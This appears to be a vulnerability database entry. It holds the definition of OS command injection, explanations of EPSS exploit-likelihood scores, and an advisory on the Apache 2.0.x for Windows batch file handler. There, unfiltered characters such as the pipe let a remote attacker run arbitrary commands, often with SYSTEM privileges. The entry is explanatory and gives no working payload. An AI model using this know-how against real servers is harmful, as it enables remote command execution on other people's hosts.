Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Special characters (such as |) may not be filtered by the batch file handler when a web request is made for a batch file. As a result, a remote attacker may be able to execute arbitrary commands on the host running the vulnerable software.
It should be noted that webservers on Windows operating systems normally run with SYSTEM privileges.
The 2.0.x series of Apache for Microsoft Windows ships with a test batch file which may be exploited to execute arbitrary commands. Since this issue is in the batch file handler, any batch file which is accessible via the web is appropriate for the purposes of exploitation.
